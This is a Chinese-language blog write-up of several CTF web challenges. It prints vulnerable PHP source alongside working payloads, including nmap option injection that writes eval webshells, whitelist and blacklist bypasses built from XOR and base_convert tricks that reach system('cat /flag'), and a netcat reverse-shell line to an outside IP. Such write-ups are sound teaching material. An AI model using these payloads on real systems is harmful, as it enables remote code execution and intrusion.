2020-08-18
3.9k
GXYCTF2019 Ping Ping Ping
TODO
ACTF2020 新生赛 Exec
TODO
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }
if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
|
参考之前学习PHP代码审计的一篇文章,escapeshellarg函数和escapeshellcmd函数同时使用会导致单引号逃逸。
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $host = "' <?php phpinfo();?> -oN shell.php '"; $host = (string)$host; echo "host:".$host; echo "</br>"."\n"; $arg = escapeshellarg($host); echo "arg:".$arg; echo "</br>"."\n"; $cmd = escapeshellcmd($arg); echo "cmd:".$cmd; echo "</br>"."\n"; ?>
|
对于单个单引号, escapeshellarg()函数转义后,还会在左右各加一个单引号,但escapeshellcmd()函数是直接加一个转义符。
对于成对的单引号, escapeshellcmd()函数默认不转义,但escapeshellarg()函数转义。
host参数先经过escapeshellarg()再经过escapeshellcmd()就会出现问题。
escapeshellarg 先转义了一个单引号,然后引入了一对单引号, escapeshellcmd 不会转义成对的单引号,但是会转义转移符\
,这样, 转移符作用失效,逃逸出来一个单引号。
payload:
1
| ?host=' <?php `cat /flag`;?> -oN shell.php '
|
网鼎杯2020 朱雀组 Nmap
考点
解题
和上面一道题比较像了,都是考察Nmap参数注入,但是没有显示源码。
直接用Online Tool的payload进行测试
1
| ' <?php @eval($_POST["hack"]);?> -oG hack.php '
|
提示hacker,Fuzz之后发现应该是过滤PHP关键字,改用短标签和phtml后缀绕过。
1
| ' <?=@eval($_POST["hack"]);?> -oG hack.phtml '
|
没有提示其他黑名单信息,访问当前目录下的hack.phtml
文件存在,用蚁剑连接,拿到flag。
参考文章:https://zhuanlan.zhihu.com/p/145906109
RoarCTF2019 Easy Calc
考点
解题
查看源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; }) </script>
|
访问calc.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
|
第13行eval
可以执行PHP代码,测试发现num
参数不能输入非数字的值,否则会直接500。
payload:
1
| calc.php?%20num=phpinfo()
|
例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

代码中过滤了/
,用chr
绕过:
1
| http://node3.buuoj.cn:26901/calc.php?%20num=var_dump(scandir(chr(47)))
|

读取/f1agg
:
1
| http://node3.buuoj.cn:26901/calc.php?%20num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
|
watevrCTF-2019 Supercalc
TODO
RCTF2019 calcalcalc
TODO
De1CTF 2019 9calc
TODO
GXYCTF2019 禁止套娃
考点
解题
dirmap扫描发现有Git目录,用GitHack download下来,审计代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } }
?>
|
这个正则表达式/[a-z,_]+\((?R)?\)/
很明显是无参数webshell,直接上payload查看当前路径下的文件:
1
| ?exp=var_dump(scandir(pos(localeconv())));
|

1
| readfile(array_rand(array_flip(scandir(current(localeconv())))));
|
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
当然,还可以写header字段,然后用get_all_header()函数获得flag.php
文件。
BJDCTF 2nd duangShell
考点
解题
打开题目提示swp文件泄露,访问.index.php.swp
下载文件,vim -r index.php.swp
恢复文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>give me a girl</title> </head> <body> <center><h1>珍爱网</h1></center> </body> </html> <?php error_reporting(0); echo "how can i give you source code? .swp?!"."<br>"; if (!isset($_POST['girl_friend'])) { die("where is P3rh4ps's girl friend ???"); } else { $girl = $_POST['girl_friend']; if (preg_match('/\>|\\\/', $girl)) { die('just girl'); } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) { echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->"; } else { exec($girl); } }
|
观察源代码之后发现是绕过过滤之后命令执行的题目。
因为过滤了$符号,所以不能采用这种黑名单拼接的方式绕过
1
| a=ca;b=t;c=flag;``$ab` `$c
|
禁用了base64之后不能使用base64编码绕过
1
| echo "Y2F0IGZsYWc=" | base64 -d
|
而且exec()函数是没有回显的,又想了一些奇怪的姿势,着实不行,看师傅们的博客吧。
这道题用到的是反弹shell。
https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
1
| girl_friend=nc 47.97.199.89 8888 -e /bin/bash
|
本机获得shell后,查找flag
极客大挑战2019 RCE ME
考点
- 无数字字母的webshell
- disable_function绕过
解题
审计代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); }
|
这个知识点都要考烂了,先用phpinfo验证一下,直接给payload:
1
| ?code=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
|

先构造一个shell,用蚁剑连接
1
| ?code=${%86%86%86%86^%d9%c1%c3%d2}[_](${%86%86%86%86^%d9%c1%c3%d2}[__]);&_=assert&__=eval($_POST[%27a%27])
|
PHP7.0 还可以使用assert来执行php语句,PHP7.1之后就不行了。
然后再加载绕过disable_function的插件,运行readflag即可。
WUSTCTF2020 朴实无华
考点
- intval函数绕过
- md5弱类型
- Linux命令空格和cat绕过
解题
根据hint访问fl4g.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__);
if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); }
if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); }
if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
|
套娃题,一层一层的来看。
第一层是用科学计数法绕过intval函数的if判断,给一个demo
1 2 3 4 5 6 7 8 9
| <?php $a="3e4"; echo intval($a);
$b="3e4"; echo intval($b+1); ?>
|
这是因为进行+1操作的时候会先将$a的科学计数法解析然后再加1。
以下只适合php7.0及以下版本
第二层是md5的弱比较
1 2 3 4
| 0e215962017 md5值:0e291242476940776845150308577824 0e2159620 md5值:0e2159620
|
第三层是绕过空格和cat命令,空格的代替方式${IFS}
、$IFS
,cat的代替方式ca\t
、sort
、more
等等。
CISCN2019 华北赛区 love math
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php error_reporting(0);
if(!isset($_GET['c'])){ show_source(__FILE__); }else{ $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } eval('echo '.$content.';'); }
|
审计
可以看到代码对于我们的传参进行了如下限制:
-
长度限制<80
-
黑名单特殊字符限制
-
正则匹配字符通过白名单验证,比如
1 2 3 4 5
| abs(1)能过 1abs()能过 absa()不能过 abs(a)不能过 abs()a不能过
|
其中正则匹配字符:
1
| preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
|
是将$content
变量中以字母开头的字符串组成数组储存在$used_funcs
变量中。
查看$whitelist
我们可以看到两个进制转换函数:
- base_convert():在任意进制之间转换数字(2 - 32 进制)。
- dechex():把十进制数转换为十六进制数。
我们知道32进制
包括0-9a-z
等字符。所以我们可以通过base_convert()
函数利用进制转换构造特定的字符串。
构造payload
方法一
由于长度的限制,肯定是要构造{$_GET}{xx}({$_GET}{yy})
来执行shell。
hex2bin() 函数
:把十六进制值的字符串转换为 ASCII 字符。
首先把$_GET
转换为10进制表示:
1 2
| >>> int(binascii.b2a_hex(b'_GET'), 16) 1598506324
|
再利用base_convert
函数构造hex2bin
函数:
1 2
| php > var_dump(base_convert(37907361743, 10, 36)); string(7) "hex2bin"
|
最后,我们就利用dechex
函数把10进制表示的$_GET
转换为16进制表示,然后传入hex2bin()
函数。
所以最后的payload:
1
| $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
|
另外一种形式:
1
| $pi=base_convert(37907361743,10,36)(dechex(1598506324));${$pi}{pi}(${$pi}{abs})&pi=system&abs=cat%20/flag
|
方法二
通过getallheaders()
函数,读取写入HTTP request header字段的值。
payload的构造方式和上面一样
1
| $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
|
解释如下:
1 2 3 4 5
| base_convert(696468,10,36) => "exec" $pi(8768397090111664438,10,30) => "getallheaders" exec(getallheaders(){1}) //操作xx和yy,中间用逗号隔开,echo都能输出 echo xx,yy
|
NESTCTF2019 Love Math2
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php error_reporting(0);
if(!isset($_GET['c'])){ show_source(__FILE__); }else{ $content = $_GET['c']; if (strlen($content) >= 60) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } eval('echo '.$content.';'); }
|
和上面的那道题基本上是一样的,但是限制更为严格,参数长度必须小于60,所以那道题的两个方法都不能用,这里再介绍一种Fuzz的脚本。
1 2 3 4 5 6 7 8 9 10 11
| <?php $payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; echo($payload[$k]."^$i$j"."==>$exp"); echo "<br />"; } } }
|
主要目的就是想fuzz出_GET
字符串。可以把这个字符串拆分成两段。先查找_G
1 2 3 4 5 6 7
| $ php fuzz.php | grep _G is_finite^64==>_G is_infinite^64==>_G is_nan^64==>_G mt_getrandmax^23==>_G mt_rand^23==>_G mt_srand^23==>_G
|
再来查找ET
1 2 3 4 5
| $ php fuzz.php | grep ET rad2deg^75==>ET rand^75==>ET tan^15==>ET tanh^15==>ET
|
选择函数名最短的即可。最终的payload:
1
| $pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
|
或者
1
| $pi=(is_nan^(6).(4)).(tan^(1).(5));${$pi}{0}(${$pi}{1})&0=system&1=cat%20/flag
|